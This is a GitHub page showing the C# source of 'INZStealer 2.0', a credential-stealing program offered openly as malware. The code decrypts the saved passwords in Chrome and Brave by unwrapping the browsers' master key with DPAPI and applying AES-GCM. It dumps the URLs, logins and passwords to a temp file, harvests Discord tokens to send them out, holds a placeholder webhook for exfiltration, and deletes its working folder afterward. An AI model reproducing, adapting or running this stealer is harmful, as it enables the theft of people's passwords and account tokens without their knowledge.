-
Notifications
You must be signed in to change notification settings - Fork 24
/
Program.cs
191 lines (146 loc) · 6.3 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
using System;
using System.IO;
using System.Linq;
using System.Collections.Generic;
using System.Data.SQLite;
using System.Text;
using System.Net;
using System.Threading.Tasks;
using System.Windows;
using System.Security.Cryptography;
using System.Text.RegularExpressions;
using System.Net.Http;
using System.Threading;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Parameters;
using Newtonsoft.Json;
using DocumentFormat.OpenXml.Wordprocessing;
namespace ConsoleApp1
{
class Program
{
public static string Webhook_link = ""; //Webhook Link
public static void Main(string[] args)
{
Directory.CreateDirectory(Path.GetTempPath() + "INZ");
string[] paths = {
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\BraveSoftware\Brave-Browser\User Data\Default\Login Data",
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"Google\Chrome\User Data\default\Login Data"
};
string pwd_text = "";
foreach (string p in paths)
{
var pas = Passwords.ReadPass(p);
if (File.Exists(p))
{
pwd_text += "INZStealer 2.0\r\n\r\n";
foreach (var item in pas)
{
if ((item.Item2.Length > 0) && (item.Item2.Length > 0))
{
pwd_text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n";
pwd_text += " \r\n";
}
}
}
}
if (File.Exists(Path.GetTempPath() + @"INZ
\Login Data"))
{
File.Delete(Path.GetTempPath() + @"INZ
\Login Data");
}
string TempPath = Path.GetTempPath();
File.WriteAllText(TempPath + "/INZ/Passwords.txt", pwd_text);
string FilePath = TempPath + "/INZ/Passwords.txt";
System.Diagnostics.Process.Start(FilePath);
var tokens = DiscordG.Program.GetThem();
if (tokens.Count > 0)
{
DiscordG.Program.SendMeResults(tokens);
}
// System.Diagnostics.Process.Start(FilePath); //UNCOMMENT ONLY IF YOU WANT THE PASSWORDS TO POP UP
Thread.Sleep(5000);
Directory.Delete(TempPath + "/INZ/", true);
}
class Passwords
{
public static IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath)
{
if (File.Exists(Path.GetTempPath() + @"INZ\Login Data"))
{
File.Delete(Path.GetTempPath() + @"INZ\Login Data");
}
byte[] key = AesGcm256.GetKey(dbPath);
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
byte[] encryptedData = (byte[])reader[0];
byte[] nonce, ciphertextTag;
AesGcm256.prepare(encryptedData, out nonce, out ciphertextTag);
string value = AesGcm256.decrypt(ciphertextTag, key, nonce);
yield return Tuple.Create(reader.GetString(2), reader.GetString(1), value);
}
}
conn.Close();
}
}
}
}
}
class AesGcm256
{
public static byte[] GetKey(string dbpath)
{
string path = "";
if (dbpath.Contains("Brave-Browser"))
{
path = @"C:\Users\" + Environment.UserName + @"\AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State";
} else if (dbpath.Contains("Chrome"))
{
path = @"C:\Users\" + Environment.UserName + @"\AppData\Local\Google\Chrome\User Data\Local State";
}
string v = File.ReadAllText(path);
dynamic json = JsonConvert.DeserializeObject(v);
string key = json.os_crypt.encrypted_key;
byte[] src = Convert.FromBase64String(key);
byte[] encryptedKey = src.Skip(5).ToArray();
byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
return decryptedKey;
}
public static string decrypt(byte[] encryptedBytes, byte[] key, byte[] iv)
{
string sR = String.Empty;
try
{
GcmBlockCipher cipher = new GcmBlockCipher(new AesEngine());
AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, iv, null);
cipher.Init(false, parameters);
byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)];
Int32 retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0);
cipher.DoFinal(plainBytes, retLen);
sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine(ex.StackTrace);
}
return sR;
}
public static void prepare(byte[] encryptedData, out byte[] nonce, out byte[] ciphertextTag)
{
nonce = new byte[12];
ciphertextTag = new byte[encryptedData.Length - 3 - nonce.Length];
System.Array.Copy(encryptedData, 3, nonce, 0, nonce.Length);
System.Array.Copy(encryptedData, 3 + nonce.Length, ciphertextTag, 0, ciphertextTag.Length);
}
}